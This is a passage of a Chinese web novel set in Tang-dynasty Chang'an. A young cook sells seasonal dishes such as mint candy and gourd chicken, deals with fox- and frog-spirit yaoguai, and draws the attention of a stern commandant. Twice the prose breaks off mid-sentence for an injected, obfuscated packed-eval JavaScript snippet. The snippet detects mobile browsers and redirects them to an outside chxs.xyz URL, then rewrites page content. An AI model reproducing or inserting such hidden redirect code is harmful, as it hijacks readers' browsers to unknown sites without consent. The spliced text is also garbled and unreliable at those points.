野那肤色如蜜，鼻梁高挺，性格又热烈如沙漠的花朵，是整个通义坊出名的栗特美人，适逢野那丈夫随着车队去了沙州，一堆市井无赖总是来找这位当垆的美人麻烦，少不得左邻右舍的关怀。 段知微抄起一缸茱萸水就去了，眼见又是无赖呲着大牙调笑惊恐的野那，气得一缸水就泼了过去，把那无赖疼得在地上打滚。 对于这种垃圾，当然还是辣椒水好用，可惜本朝没有辣椒，段知微便在水中泡些捣烂的吴茱萸和黄芥末备用，这威力看上去也不错。 却见野那惊恐指了指段知微身后，她才反应过来转身，是另一个无赖举着块石头直直就要砸下。就在这千钧一发之际，一道身影如闪电疾驰而来，一脚将无赖踹翻在地。 袁慎己随后赶到，他掏出横刀，眼神如苍鹰般锐利地瞪着地上喊痛的无赖，整个人身上冒出一股肃杀之气，那是一种在战场上历经生死厮杀后沉淀下来的威严。 几个武侯赶到，把两个市井无赖捆走了。野那本就胆小，被袁慎己这股子气势吓到，躲到段知微身后瑟瑟发抖。 袁慎己赶忙收起横刀，正自懊悔吓到段知微，没想到这段娘子面上一点无被吓到的样子，反而两眼发光的赞叹道“袁都尉好武艺，真是武林之翘楚，英雄之典范啊！” 4. 第四章 立夏是夏日的开场舞，自这日开始，长安的太阳开始变得热烈起来，给大地披上一道金色的光辉。 立夏这天，本朝官员有一天休沐假日，袁慎己早已在自家花园耍完一套枪，他只穿了件中裤，结实的胸膛剧烈起伏，几缕发丝被汗水浸湿贴在额角。 他回忆一下刚刚的招式，把手巾随意搭在肩头，然后去到井口，打一桶冰凉的水浇到身上。 花园的门口突然传来动静。袁慎己拿起长枪，警惕地朝着花园口看去。 一粉衣少女带着一个食盒进来，那少女脸颊丰盈，梳着翻荷髻，上着彩绘鸳鸯锦绣衫子，下着绿绫宝花绛纱裙，一见便是士家教养出来的闺秀。 只见她笑着施礼道：“今日立夏，想着表哥今日无法去官署公厨食堂吃朝食了，妾身命厨子做了些带过来。”说着，从食盒中拿出一盘粉粥并巨胜奴。 袁慎己穿好衣服皱眉道：“二娘，以后不必在往某这送吃食。” 那娘子面上有一瞬僵硬道：“这些都是家中厨子做的，比外面食肆干净些，前日妾还听阿耶抱怨那国子监的冷淘吃了闹肚子。” 袁慎己背手低眉看她，他生了一双好看如寒星的眼睛，此刻眼中毫无笑意：“你我虽为表兄妹，也要注意男女之大防。某听从姨讲，很快便要为你许亲事了，总跑来这里不好。” 这是把拒绝的话说透了，被唤二娘的女郎破罐破摔道：“难道表哥从未对妾...” 袁慎己严厉打断：“从未，我等没有缘分，此事无需再提。” 二娘抹着眼泪道：“表哥如此铁石心肠，难道当真被凉州那狐精迷了心窍。” 袁慎己的脸色沉了下来，这是触了逆鳞了，二娘被吓一跳，转身跑走了。 什么凉州狐精，只是一普通女子罢了，袁慎己心想。只不过有一日与文人朋友喝酒后，讲了这个故事，怎料那朋友把整个故事大改一通写成了变文。 或许对那娘子造成了困扰，只怕对方不肯再次现身。 袁慎己只记得那日自己迷迷糊糊被一个娇小的背影拖出树丛，只听那娘子喘着气念叨什么:“战士军前半死生，胡天八月即飞雪，我敬你是条汉子，救你一救。” 倒是与那日段家娘子高声赞扬他“武林之典范”交叠在一起，第一次有人这样赞美他。 袁慎己不经意低头看那盘被打翻的巨胜奴，炸得黄澄澄，外面裹一层琥珀色的蜜汁，皇室们钟爱的点心。只是骄阳似火，空气都成了腾腾热气，吃这个倒是不够舒爽。 袁慎己突然有点想念那清甜的绿豆粥和槐花饼。 这边段知微得知立夏日官员休沐，知道顾客要减少，特地减少了朝饭的供应。段大娘在食案摆上樱桃、香梅和稷麦供神享用，这叫做立夏见三新。 食肆门前的炉上已经煮了满满一大锅麦豆，段知微昨日便从经常在这买桃花乳酪的娘子们那揽下青精饭和糖的订单，据说这日食用这些便可不疰夏。为此还有过专门立夏的歌谣： 香梅发脆樱桃熟，稷麦甘香蚕豆鲜。 鸭子调盐剖红玉，海蛳入馔数青钱。 段知微小时候上学便经常买个乌饭糍当早饭，没想到这吃食古代也有，就连杜甫都曰过“食我青精饭，令我颜色好。” 前一日段知微便特特在西市摊子上精挑细选了些新鲜的乌饭叶子，将叶子洗净，放进簸箩里用力碾碎化为青蓝色的汁液，再把上好的粳米浸入，不停地翻搅使每粒米都饱吸汁液，泡上一个晚上。 今日段知微打开缸，满意地发现粳米已经从白色转为青黛色。把蒸笼铺上干净纱布，染色后的粳米均匀铺好，盖好盖，用大火蒸上。白色的蒸汽与清新的米香一起弥漫开来。 等待米饭的功夫，段知微再来备糖，既然是立夏，那就备些薄荷糖和乌梅糖，别说吃了，听着也清爽。 做起来倒是简单。此时还未有那种晶莹剔透的冰糖，倒是有类似浅黄色的古法红糖，据说研制的时候还去印度请了专家，这糖做桂花糖倒是甚好，只是没到季节... 眼下浸泡一晚上淡绿色的薄荷浆和澄红色的乌梅浆已经准备就绪，只需将糖块慢慢熬煮成浓稠的糖浆，再分别加入薄荷浆和乌梅浆继续熬煮至拉丝即可。 将糖浆倒入木格子脱模，段知微特特找了雕版印刷的师傅刻了个“段”字，印在了糖上。 段大娘过来一看，那薄荷糖如玉般剔透，粉色乌梅糖里则真裹了半颗乌梅，玲珑可爱，她捡起一颗薄荷糖扔进嘴里，薄荷凉气在嘴里扩散开来。 段大娘乐得不知如何是好，只道这糖必能风靡长安。段知微把蒸好的青精饭拌匀，拿个蒲扇给饭降温：“这糖又不难制作，吃个新鲜罢了，过两日别家也能做出来了。” 除了预订的几家段知微雇了闲汉送去，剩下的全用驴车拉到大慈恩寺摆摊去了，立夏这日去大慈恩寺参拜的人更是多。长安仕女都是视觉动物，见到这乌梅糖和薄荷糖新鲜有趣，玲珑可爱，立时抢购一空。 只是略微失策，没想到寺庙竟然在这日免费发放青精饭，导致一直卖到快日暮，那青精饭还剩小半缸，眼瞅着再不返程，就要宵禁了，段知微只好拖着驴车往回走。 刚到坊口，便觉不对，后面传来轻微脚步声，段知微立时转头，却见是上次骚扰野那的两个无赖，她立时抽了下驴屁股，可惜为了省钱，赁的是头年纪较大的驴子，根本走不快，三下五除二便被无赖追上。 段知微汗水湿透后背，呼吸也变得急促过来暗道不好，身上没有随时携带茱萸水，那两无赖也算聪明了一回，特特找了个人烟僻静的巷子，手上拿把刀准备报复。 段知微咬咬牙，犹豫了两秒，弃了驴车开始狂奔，后面那两个人开始紧追不舍，段知微绕了几个弯，最后无奈躲进了一辆废弃牛车底下。 那两无赖追到此处，影子被夕阳拉得扭曲而细长。段知微捂住嘴，祈祷他们可千万别发现自己。那两个人的脚步越来越近... 突然，一阵铃铛声由远及近而来，段知微突然闻到一股熟悉的、如丝如缕的异香。一个身着齐胸衫裙、戴着白纱帷帽的倩影款款走来。 虽说宽大的白纱遮住了脸，但她如雪的肤色、窈窕的身形，脚踝上 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这杜侍郎宅子置在永兴坊，甚是气派。宅子内建着亭榭、池塘，可泛舟、可闲游。杜夫人便置身湖中庭院在等袁慎己。 “大郎来了。”杜夫人热情招他过来，袁慎己行过一礼后坐下。 杜夫人摇摇扇子，为他夹起一块金银夹花：“来尝尝这个...圣人今早赐下的...” 她犹豫片刻问“今早二娘兴高采烈出了门，却红着眼睛回来，妾打发了她身边的云雀...说是...” 袁慎己沉默片刻，站起来行了一鞠躬礼道：“男女大妨，还请表妹以后莫要在来某的宅邸。” 这是明着拒绝了，杜夫人叹气点点头，这位侄儿身得高大英武，在凉州又履历军功，年纪轻轻便官至四品，偏偏其母去得早，无人做主，官媒婆便迂回到了杜府，岂料这袁慎己有点倔驴脾气，只说征战沙场，没空娶妻。 三月三上巳节，袁慎己骑马路过灞上，许多长安仕女折柳相赠，他竟是目不斜视的走了过去，谁都拿他没有办法。 杜夫人试探着问：“最近......可否有意中人。” “没有”袁慎己习惯性否认。 杜家三郎今年刚满五岁，拿着个纸鸢抱住袁慎己的腿，递给他一块糖。 杜夫人笑着说:“卢起居郎的娘子送来的，她倒是有心，说这糖新奇有趣，今日立夏，送给三郎尝个新鲜。” 袁慎己打开那个纸包，是一块镶嵌半块乌梅的粉色糖块，中间印了个“段”字，他颇感意外，而后又了然一笑，这样创新的糖块，也只有那个人能想得出来。 他的一双大手因常年操练而布满茧子，此刻将一小糖块在手中磨拭。脑海中仿佛出现段知微低头揉面，抬头惊喜看他笑盈盈道“袁都尉来了。” 可惜已然宵禁了，她很快就要睡了吧，明早再去吧，袁慎己想。 杜侍郎与友人下棋至晚方归，见自家侄子低头磨拭个糖块，对着杜夫人咬耳朵:“果然武人心思，猜不透猜不透。” 5. 第五章 传说中的长安第一味 段知微当然还没有睡，有个没头的妖怪端坐在床榻上到底谁能睡得着啊。 狭窄的房间只有豆大的灯火，旁边的夯土墙上勉强凿了个小洞作为窗户，幸而今夜月亮足够明亮，几缕微弱的月光从蒙灰的小窗里艰难透了进来。那飞头蛮倒是好心，一挥手，豆大的灯火立刻大了几倍，把房间照得通明。 本来就是夏天，这下更热了，段知微擦擦汗看那个火球想。 “奴家是个好妖。”飞头蛮缓缓开口道。 段知微用怀疑的眼神看着她。 那飞头蛮急道：“奴家真是个好妖，之前一直在九江郡一带，那里的县令公子总是带着一群纨绔在江面上调戏过往的女客，奴家夜间晚上假装成琵琶女的样子，吓得他们再也不敢做此无赖之举了。” 段知微震惊地嘴巴都能装个鸡蛋了：“大慈恩寺的那场俗讲里，提到的在浔阳江上吓人的飞头蛮是你啊。” 飞头蛮用手挡住帷帽作娇羞状：“讨厌,奴家名唤落头氏。叫飞头蛮多粗鲁。” 段知微“……” 这落头氏此次前来，是因为其身子与头吵架了，落头氏希望段知微能煮一份美味的肉让其重归于好。 那落头氏抱怨道：“那头极爱吃美食，将奴家吃的丰腴了不少，因此吵了起来。” 落单了的头每夜都在长安各大食肆大肆偷吃，那日只是不巧被卖饼的胡人看到。 段知微从罐子拿出一颗青梅嚼嚼：“你们这不是以丰腴为美吗。”左邻右舍见到她都爱说一句，段娘子生得还算清秀，可惜太瘦了，搞得她对自己的审美产生了极大的怀疑。 落头氏作势就要起身献舞：“奴家是楚国而生的妖怪，娘子岂不闻‘楚王好细腰’” 段知微叹口气，问：“是哪种肉呢。” 那落头氏露出神往的表情：“那是一种绝顶的美味。” 段知微见她沉浸在回忆里，便试探着问：“确定你们不吃人吗？” 落头氏一副被冒犯到的模样:“请不要诋毁奴家的品味。” 段知微面露怀疑，刚想拒绝，岂料那妖倒是洞察人心，连忙说：“事成之后必有重谢。” “成交。” 第二日一早，将做朝食的任务全部分配给了段大娘以后，段知微决定来做一份糖蒸肉，这肉是湖北的一道菜，定能符合那落头氏的口味。 先将猪肉洗净，切成二寸长、四分宽的长块，放入碗中，加入葱花、姜末、红糖、大米粉、酱油、料酒、硝水、蜂蜜一起拌匀腌渍，再把肉块整齐放进盆中，上蒸笼用旺火蒸一个时辰。 接下来段知微拿了个粗瓷碗。调了些红糖水放到一边。 今日苏莯又准时来报道了，他每日都要买上好一些肉胡饼、槐花鸡蛋饼走，恨不得带个扁担过来。说是以往从早到晚冷着脸的袁都尉吃到这儿的朝食连紧绷的下颌角都松动了。手下人办事也轻松了许多。 乐得段知微额外送他一个肉胡饼，苏莯这广告效果杠杆的，听闻四品都尉爱吃这家的朝食，慕名前来打卡的客人都多了许多。每天门口都大排长龙，段大娘边烤胡饼边念叨今日一定要招工。 半个时辰已过，段知微寻思差不多了，揭开蒸笼把肉拨弄松散，将那一粗瓷碗的红糖水倒进去继续再蒸片刻。 一股甜蜜的肉香透过蒸笼的罅隙冒了出来，引得路人都频繁扭头望过来。这让段知微颇为自得。 等到时间差不多了，段知微掀开蒸笼盖子，将肉翻扣入盘。那肉瞧着色泽红亮，香味浓郁。 段知微挑了个边角尝一口，只觉鲜香醇厚，油润爽口，那肉质蒸得恰到好吃，入口即化，咸中带甜。 段知微满意点点头，她向端着盘子凑到段大娘那里，段大娘勉强夸赞：“这肉看上去倒是光亮悦目。” 似乎是怕打击到段知微的自尊心，段大娘小心翼翼地说:“知微啊，你这肉太甜了些，没见过谁家食肆做肉还放糖的。” 本朝由于社会经济、文化等因素，上层社会更崇尚羊肉，无奈羊肉价贵，再加上段家食肆本就是面向民间的消费群体，因而多用猪肉。段知微都做好糖蒸肉、樱桃肉、东坡肘子都来一轮的准备，没想到长安人不吃这套。 也对，毕竟是喝茶和酪浆都要放盐和葱的长安.... 不到中午，除了几盘无人问津的糖蒸肉，其他吃食全部销售殆尽。段大娘舍不得这肉，只好和段知微一起把那碟子糖蒸肉分着吃掉了，结果腻得直喝水，严重挫伤了段知微的自尊心。 这就是没做好调研的后果，蜀人爱辣，江南人士才爱甜口，段知微浪费了这些肉，只能自认倒霉。 她带着一盘糖蒸肉去到后院找落头氏，只见对方撩开帷帽上的白纱，低着脖子细细望了一眼，又缩了回去，很是失望的摆了摆手。 “那是一种鸡肉”落头氏像是陷入回忆:“那日我伪装成善弹琵琶的教坊女子潜入宅邸的宴会。 那宴会宝马香车、八音九奏，呈上来的烧尾宴有光明虾炙、玉露团、单笼金乳酥...” 落头氏很是失落:“无奈那侍卫查得严实，我跟终南山上的小狐狸两只妖只偷到一只鸡，那是一只整鸡，炸得金黄，外皮酥脆，内里鲜嫩多汁。” 段知微心想“你两伪装成教坊的绝色美人就为了偷只鸡啊”又不敢得罪她，只能问道：“哪个宅邸啊。” 落头氏似乎想摇摇头，最后只剩个帽子左右晃荡：“好多年前的事情了，那宅子据说现在闹鬼，蜘蛛网都挂得老长。” 段知微心想“……闹得那个鬼就是你吧。” 段知微想了半日也没想出来究竟是什么样的鸡，下午炸酥肉的时候整个人都在恍惚，下了值过来买酥肉的苏莯递给她铜钱的时候发现她在发呆。 “啊，真是不好意思”她赶紧回神，见苏莯那身浅青色官服，便试探着问：“郎君可听说过一种鸡，炸得酥脆又保持完整，内里还鲜嫩多汁。” 没想到这苏莯瞅着官小，见识还挺大：“某听过某的驸马姑父讲过，据说是之前礼部侍郎的家厨做过，要先蒸再炸，骨肉分离，吃起来又酥又嫩。” 段知微得了提示，猛拍脑门道:“对啊，这不就是西安传统风味名菜葫芦鸡吗。” 据说由礼部尚书韦陟的家厨所创，这位家厨对饮食极为讲究，尤其对鸡肉，于是他的家厨独创了这先煮再蒸最后油炸、过程及其繁琐的鸡肉，由于用麻丝将整只鸡捆绑起来状若葫芦，因此这菜名为葫芦鸡。 段知微去买了只整鸡，处理后放入沸水煮上小半个时辰。再把鸡放入蒸盆，倒入淹没鸡身量的肉汤，再加黄酒、盐、葱姜蒜、桂皮、八角。放进蒸笼蒸上一个时辰。 在等蒸的过程的间隙又跑去准备第二日的肉胡饼，段大娘见那蒸笼的白气扑簌簌地往外冒，不禁道:“阿弥陀佛，一整个下午只做一只鸡，太费劲了。” 段知微道:“这是客人预订的，以后不做了。” 开玩笑，她这段家铺子地段不行，来得都是平民百姓或者九等小官。这葫芦鸡这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426908|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么费神，价格不可能订的太低，纵然好吃，也不见得有多少人买。 “等以后开了大店再卖好了”段知微看着那蒸笼不断扑簌冒出来的蒸汽想。 给蒸好的鸡抹薄薄一层淀粉，又忍痛在铁锅里倒上半锅油，用旺火烧至八成熟，把鸡背向推进锅里，给鸡浇油定型。 段知微不断的用勺子给鸡泼油，那油炸的香气倒是飘散很快，惹得过来买炸酥肉的客人都向厨房探头。待鸡炸至金黄，段知微用手把鸡鞠拢，呈现葫芦形状，放入盘中，配一小碟粗盐花椒，放入食盒，待那落头氏来取。 段大娘掀了帘子进来，瞧那鸡炸得酥脆，对段知微道：“外头的食客都好奇你在里面炸什么，端过去给他们瞧瞧。” 段知微揉揉胳膊：“不行不行，做这鸡太费劲了。”一只鸡就卖30文，费了半天力，又是蒸又是煮又是炸，还去了半锅油，起码得卖到90文。 段大娘很是惊讶：“卖这么贵，能有人要吗？” “卖不掉咱就自己吃。” 段知微拢共做了三只鸡，问的人多买的人少，一只交给了那落头氏、一只卖给两个文人说是回去就酒，最后一只则是给了傍晚才下值的袁慎己。 他倒只是碰巧路过，架不住段知微的热情推销，只好掏出90文买走了那只鸡。 今日夜幕低垂，星辰镶嵌在无垠的天幕之上，夏日凉风习习，袁慎己坐在自家花园的凉棚里吃晚饭。 他素来轻简，整个宅邸只有年暮的老管家夫妻，饭食也简单，寻常蒸饼能填饱肚子就行，今日拆开那只葫芦鸡，炸得金黄酥脆，尽然也勾起了些酒瘾，命管家递上一壶霸陵酒。 袁慎己吃上一口，这葫芦鸡外皮是一层薄薄的酥脆外壳，咬一口“咔滋作响”。里面的肉鲜嫩多汁，沾些花椒粗盐别有一番风味，他又饮上一口辛辣白酒，看漫天星辉与萤火相呼应，竟觉这浮生半日倒也得些清闲。 第二日，段家铺子门口买胡饼的客人又是大排长龙，段知微忙得脚不着地，段大娘今日又换了一身惹眼的石榴裙，动作缓慢了不少。 一阵风拂过，带来一阵浓郁香气，与油锅里不断冒出的烟火气不同，这似乎是一阵浓郁的珠翠香，食客们停止交谈，纷纷望向香味的源头，一辆精美的华盖香车停在店外，古人爱香，车要通体以贵重的香料涂抹，价格高到令人咂舌。 赶车的小马夫把车停下后忙拿了个脚踏机子放在车帘前，从车上缓步走下个娘子。 这娘子穿着霓裳绯罗，眉若远黛，肌肤胜雪。只脖颈间两根红色的长线，略显幽媚。 见段知微目瞪口呆的看她，她莞尔一笑道：“段娘子认不出妾了吗？” 那娘子笑眼盈盈，段知微这才回过神，认出了这股扑鼻的异香道：“原来是你啊，你的头好漂亮。” 那娘子开怀大笑道：“今日妾与段娘子告白，回九江郡去了。”说罢，塞上一个瓦罐给她，在众人的目光中登车走了。 段大娘赶紧走过来打开瓦罐一瞧，不禁“哎呦”出声。 听她惊呼，段知微这才闻到一股浓烈的胡椒味，低头一看，瓦罐中竟是满满的胡椒。 段大娘立刻带着胡椒跑到后院卖到梨花树根下道： “这罐子胡椒，怕是抵上一块黄金了。” 眼见一罐子胡椒被埋进树根之下，段知微只觉这桩买卖做的甚好，而后才反应过来，那个冷面都尉那要怎么编啊？ 都尉你好，为了一罐价比黄金的胡椒，我把妖怪放跑了。 6. 第六章 浴佛节、蛙僧与荷花糕 这日清晨，由于昨夜下了场雨，空气里清新又湿润。 段知微熟练地拉着绳索把水桶扔进井里，水桶开始灌水并发出“咕噜”的声响。她刚在井边洗完脸，就见旁边的水盆里放着一只绿色的小乌龟，悠然在水里游动，荡起阵阵涟漪。 段知微扒着桶看了乌龟一会，转身朝着屋里喊：“长姑啊，怎么买乌龟回来了，妾不会烧这个啊。” 乌龟闻言，黑溜溜的小眼睛转了两下，把脑袋缩进龟壳里去了。 段大娘正在屋里致力于把眉毛画成黑色的蛾蛹，听见段知微的问话后答道：“那不是给你烧的，是给你放生用的。” “放生？”段知微愣了一会道“为什么要放生。” 段大娘终于给自己化好一个充满本朝特色的妆，听段知微这么说气得恨不得当场翻个白眼：“明日是释迦文佛诞辰，你打听打听谁家年轻小娘子不去浴佛放生会。对了，准备些铜钱记得要舍钱财。” 一向抠门的段大娘都要求舍钱财了，看来这个什么放生会是非去不可了。 等等...段知微放下装着乌龟的小桶：“会有很多年轻娘子去浴佛会吗？” 段大娘便将浴佛节会的流程一五一十的告诉她，比如这天寺庙的僧尼香花灯烛、持斋礼忏，妇女争相舍钱财，信众放生动物时要口诵《往生咒》 然而在段大娘絮絮叨叨的时候，段知微的心思已经往远处飘走了，她想起那日大慈恩寺满池娇艳的荷花，已然过了立夏，荷花应当开得更好了。 她赶紧骑着驴车去买回了食材，准备做一些造型好看的荷花糕，就当是文创产品了，长安仕女参加浴佛节会时若见到这玲珑可爱的荷花糕，应该会喜欢吧。 段大娘看她又坐着驴车出门，嘟哝一声：“这孩子，怎么比我还财迷。” 段知微挽住袖口开始削薯蓣，切成段放在蒸笼上蒸熟，再拿下来加入糖、熟糯米粉和适量牛乳拌匀。分成两份大小不同的面团。 她又拿了包茶饼，用天然石墨将茶饼碾成深绿色的粉，这就是抹茶的祖先“末茶”了，这粉拌入面团，很快面团变成了清新的绿色；另一块面团则用红米水染成了粉色。 在木制的荷花模具里刷一层熟的糯米粉，先放入绿色面团再放入粉色面团，一份有模有样的荷花糕就成形了。段知微自己试着尝了尝，口感软糯，有淡淡的山药香。谈不上多好吃，只是糕点确实有点荷花的意味，小巧玲珑，可爱得紧。 段知微早上挖了半天土勉强找了两条蚯蚓去喂乌龟，结果乌龟看都没看一眼，她眼下掰开一点荷花糕扔进水桶，那闭目养神的小乌龟竟然慢吞吞游过来一口吞掉。 因为还要带着小水桶去放生，段知微做的荷花糕不多。整理完食盒，段知微早早的坐着驴车去了南严寺晃荡。 南严寺不大，不会像大慈恩寺那样人山人海。最重要的是，南严寺后院有一池开得甚美的荷花，可以与自己的荷花糕遥相呼应。这就好比逛完武汉黄鹤楼出来想买黄鹤楼样式的樱花味冰淇淋，逛完圆明园，甚至有十二铜兽雪糕盲盒可供挑选，销量极其得好。 但是话又说回来，计划赶不上变化、人算不如天算。 南严寺不似大寺那般威严庄重，倒也透着古朴，小小山门经过几代岁月的打磨呈现出温润的色泽。 只是如此幽静的寺庙，门口巡视的军士竟有比肩大慈恩寺的趋势，倒也不是说不让摆摊，只是摊子一摆，那满脸严肃的军士就这么看着，就是段知微心理承受能力良好，长安仕女们也不敢凑过来买。 她只能搁置了计划，拎着东西准备先进寺庙参加浴佛节会，未来得及踏入大门，就冷不防被人叫住。 袁慎己一早便在南严寺镇守，见一娘子身着藕合色衫子驾着驴车晃晃荡荡前来，似乎像她，又不太敢认，只得骑了马缓缓靠近。 段知微为了方便干活，基本每日都是黄色、鸦色的粗布麻衣，今日被段大娘好说歹说换了件素色藕合襦裙，梳了个交心髻，整个人显得灵动不少。 袁慎己见她回头，急忙下马靠近问：“可是来南严寺参加浴佛节会?” 段知微之前没把落头氏的事情告知，就到他便有些心虚“妾以为袁都尉应该去大慈恩寺、荐佛寺这样的大寺巡防，怎么来南严寺了？” 那袁慎己还在当值也不好多与她讲，只道：“最近许多来南严寺上香的人总是会不慎丢入附近的池塘中，段娘子入了寺请千万当心。”说罢，便行一礼转身骑马走了，似乎真的很忙。 段知微回味了一会才弄懂他的意思，不能吧...这青天白日的，好端端的人怎么会掉进水池里。 可能是前几日下了几场雨，荷花池周围的路比较滑。 或者撞鬼了。 今日浴佛节会，寺庙里果然香烟袅袅，梵音阵阵，法坛摆着香花灯烛，僧侣们身着袈裟，将铜佛放置于水盆，这便是浴佛，妇女们开始争先恐后的施舍着铜钱，段知微也只好解了荷包，思考良久，忍痛扔了几个铜钱进去。 寺庙前的放生池子已经围满了各色衣衫的仕女，段知微还未走近的时候都闻到一阵浓郁的脂粉香。 放生的动物也是各有不同，有鱼、虾、甚至还有螺蛳，有位上了年纪的大娘拎了大桶直接往放生池倒入了几斤螺蛳。 段知微好不容易挤进去，见那妇人倒螺蛳不觉说道：“买螺蛳放生也挺好，螺蛳便宜啊。” 在桶子里闭目养神的乌龟闻言翻了个白眼。 段知微被姑母教了半日，也未曾学会念那往生咒，她只能蹲下轻柔地把小乌龟放入放生池中道：“以后千万别被其他人再抓上了，还有，你如果哪天得道了，能不能保佑我发大财。” 乌龟不理她，跟着红白色的鱼群慢慢游走了。 段知微蹲了半日，站起来蹦了两下缓解一下腿麻，就疾步往外走去，准备趁时辰还早，好歹能推销点荷花糕出去，却又被人叫住。 这回叫住她的却是几个娘子，那几个娘子立身在南严寺的壁画下，为首的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426909|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘子身着彩绘云霞桃红衫子，肌肤微丰，一眼望去便是富家小姐。 那娘子叉腰道：“方才在寺外，妾表哥跟你说什么了？” 今日杜侍郎长女杜有容原本打算去青龙寺参与浴佛节会，却意外得知最近南严寺附近总有郎君和贵女意外跌入池塘中，问其缘由，只说不记得了。 别看南严寺地方不大，附近大大小小却有将近五十来个水池，朝廷只得派金吾卫在南严寺附近加强巡逻。 一听金吾卫在此，杜有容立刻就跟着来了。 “谁？”段知微一头雾水 后面丫鬟提醒道：“袁都尉。” 懂了，这是一出郎不知有没有情但是妾有意的狗血爱情故事。 那杜有容先前掀开帘子下马车，远远见到袁慎己竟骑着马小心跟在一驾驴车的娘子后面，后又向驴车上的娘子搭话，不觉气恼非常，这厢又在寺里遇到这段知微，便热血上头喊住了她。 段知微赶紧解下挎包，露出食案里娇艳的荷花糕道：“妾刚刚在寺外卖荷花糕，袁都尉觉着这糕有趣，所以过来瞧瞧。” 那荷花糕做的玲珑可爱，段知微眼瞅着面前几位娘子都露出了惊喜的表情，赶紧趁热打铁：“这荷花糕还剩这些，都是早上新做的，娘子们可要买些？” 那杜有容这才回过味来，面露怀疑“他真是来买糕的？” 袁慎己，十二岁入军营，每日都在凉州那片充满豪情的土地上摸爬滚打，一顿能吃四个肉胡饼，能对小巧精致的荷花糕感兴趣？ 段知微忙道：“这荷花糕做的小巧精致，郎君们自然是买来讨娘子欢心的。”她给杜有容一个充满暗示性的微笑。 见杜有容脸色越来越阴沉，段知微稍微把食盒收了回来：“妾与袁都尉约好，待他下了值留一些卖给他。” 杜有容大声道：“不准卖给他，这些妾都要了！” 段知微忍着笑装作为难道：“这不太好吧...人家好歹是四品都尉。” 杜有容气冲冲从裙上解下荷包塞进段知微手中：“都尉又怎样，妾阿耶是三品侍郎。”说着，把食盒塞给身后的丫鬟，转身走了。 段知微摸摸鼓鼓囊囊的荷包，边往回走边喜不自胜的想，多好骗的娘子，若本朝有保健品就好了，等老了还继续卖给她。 这天实在太热了，已接近正午，寺庙的菩提树都被这毒日头烘焙得干黄，段知微抹把汗又看眼沉甸甸的荷包，决定下午带段大娘去吃酥山。 “玉指剪裁罗胜。金盘点缀酥山”酥山便是本朝的冰淇淋了，将酥加热到几乎融化，再浓浓地浇上一层蜂蜜、酒酿，淋出山峦造型再放入冰窖中冷冻。做法不复杂，只是夏日的冰是罕见昂贵之物，段知微一直没舍得吃。 正这么想着，段知微在接近寺门口的时候被一小沙弥叫住，那沙弥穿一袭朴素的灰色僧袍，面貌倒也算清秀，只一双眼睛似胡蜂斜竖，他手握串珠静静站在树下，风起，把他的灰色僧袍吹得歪斜，整个人有些说不出的怪异。 7. 第七章 与南严寺达成协议 “施主”那沙弥向着她施完一礼，露出一个诡异的微笑“本寺后面有一片茂密的森林，其中有一开遍荷花的池塘甚美，令人见之忘俗，本是僧人们的纳凉之处，施主可愿一道避暑？ 段知微只觉这僧人说不出的古怪，于是摇头道“妾还有其他事情，就不去了。” 她往后退两步，急急欲走，双腿却不由自主地停下。 那僧人阿弥陀佛一声，用他那漆黑的眼珠盯着段知微道“贫僧见施主已经快要热死了，若不与我前去避暑，可能要后悔。” 他像是洞察了人心一样道“后池还有有免费的酥山供施主享用。” “没到热死的程度吧。”段知微这么想着，却又像着魔般不自觉地跟在他身后走，南严寺不比大珈蓝，地方很小，本该一会就到后池，段知微却似乎跟着这个沙弥走了很远的路，走进一片郁郁葱葱的树林中。 茂密的绿荫间却起了重重雾霭，段知微迷迷糊糊跟着走，眼前明媚的夏景却越来越暗，那雾霭也越来越浓厚。沙弥的手上不知何时拿起了一盏比人还高的荷花灯。 终于来到那沙弥说的玄阴池，果然池子里开满若干荷花，无数和尚坐在池边，或卧石酣睡、或在水中念经。 领着段知微来的僧人道：“承蒙女施主赏脸，吾辈愿为施主唱梵音。”于是这群僧人竟真的于水中一起大声唱起梵音。 段知微猛然觉得不对，那些僧人，池中的、石头上的、包括站在自己旁边的，竟全部长着一模一样的脸。 她吓得转身想跑，却被旁边的僧人揪住，那僧人的头慢慢变形，竟变成了个巨大的青蛙头，抓着荷花灯的手也变成了绿色的蹼。他的头部扁平，有一双突出的，圆溜溜的大眼睛，眼瞳成胡蜂状“吾辈在此邀请快要热死的人类进池子里纳凉以积攒功德，还请女施主快快进去吧。” 段知微被它揪住无法动弹，只好使出权宜之计，打开背着的菱形纹斜挎包，那里还剩几个荷花糕，是自己准备当午食吃的，她将糕递给青蛙“这些荷花糕给你们，妾真的有急事要走。” 那些青蛙果然被此吸引，拿起荷花糕就津津有味地吃了起来，段知微突然想起段大娘讲过的在江中遇到江伥的情景，只能死马当活马医，大声唱起歌来。 一道刀光划破浓郁的雾霭，段知微回过神，雾霭全部消散掉，面前哪儿还有青蛙头的妖怪和僧人，只一池子开得甚好的荷花，荷叶下还有成群的青蛙，叫得很是聒噪。 袁慎己正在附近巡逻，突然听到歌声，那声音虽然难听却是很熟悉，于是立刻赶来，却见段知微跨过池子边防护的铁链，刚踏入池边的青泥里。 袁慎己冲破了蛙僧们建造的结界，大步也踏入池塘的青泥中，拧着眉头看向段知微。 